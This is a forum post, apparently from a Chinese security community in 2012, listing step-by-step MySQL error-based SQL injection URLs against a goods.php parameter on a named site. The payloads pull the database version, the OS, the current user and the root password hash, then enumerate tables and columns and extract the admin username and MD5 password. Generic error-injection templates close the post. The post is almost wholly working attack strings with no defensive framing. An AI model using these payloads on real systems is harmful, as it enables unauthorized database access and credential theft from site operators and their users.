找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2275|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 1 J( I" F5 Q) S0 j
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& c1 u7 j' p( R# K9 x, n+ E# D
  m: \/ P9 m5 Z) c5 Z2 K判断系统
3 O% G9 E' t1 g% V' F( |+ T# \: f- [( |  c2 i$ c" w; E9 q
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
8 ~* u! l; ]8 O4 [
0 l- s& j& Z$ t/ M. }0 J. F6 K+ v) g9 u9 N3 s  P; s" j% g( j2 ?- A! T

3 _' `2 e( }& V2 [当前 user()
/ S9 y# I) m2 {5 s$ s
+ H$ ^' r5 q2 Z* Chttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
; @  x# D: |3 a/ \  G$ C% c5 Z' N- ]: f3 p
% j9 }# Q0 k& m

: Y( |) K; l. _; I. z) V: d当前 database()1 Q+ V' h2 U: ]
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
8 j/ i2 d$ t. y0 h% M" w
! C6 r! ^6 d' ~# h3 ?' m& v* c* t' ~: a& c! M* K2 _* J
. k. \3 C$ A6 P: H- W2 k2 y

/ i+ C) @/ A, Z; }( b: i9 @9 V5 Troot hash& W: l* Y$ e* p. `( B4 P" l! D

4 b# X& Q5 k$ C5 ahttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
- o9 V* D5 I& ?1 u0 ~
( n9 K2 h" Q0 m  W
% H! @3 x$ k( x$ @# d1 j$ }% r; S8 {' E. K( t& R9 O! j0 m- T
当前 数据库表名
/ w7 X) @; F8 K4 S$ p; B0 B
( T/ I$ i$ I$ uhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23' B/ K, N" d+ d8 z/ P( j
2 y3 P) k$ `" R' C( m* d

5 p5 @3 j% F) Z* k2 y
- v& {3 y# @$ }( b当前 数据库 user_name 字段
; e0 o7 V+ q9 I, M# n1 I
+ `1 V, v) G3 D! R/ r7 y0 rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23( N! r/ c6 @1 }. C% b8 p0 f

& _  z4 o" E, Z0 T当前 数据库 字段 password% q" |1 z  Q0 ]
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23: s  |3 h, C# B- s# J
5 [3 m1 s( u3 b/ o0 q" {
/ y4 ]! R. x  l2 u

0 B8 \: @# q# x. v! B5 L获得 admin passwd(md5)) E- h+ T" M( w( v) H' `1 n
6 z( Y8 P) c8 t) q0 |
, G, K! w: A& h. j
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
8 T) [4 V. `: K; \2 K+ a4 B& ]# R$ S8 V% b1 X
报错注射1 E2 s& G6 o+ l& V* r
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)* o' v* ^: y% w4 I- F. ]0 O, A
% `; c% C" o& Z. N2 z2 ~2 G
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)( U3 W  `9 O- _% U4 w

0 i/ e( O8 N0 j1 ^, H) Pand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表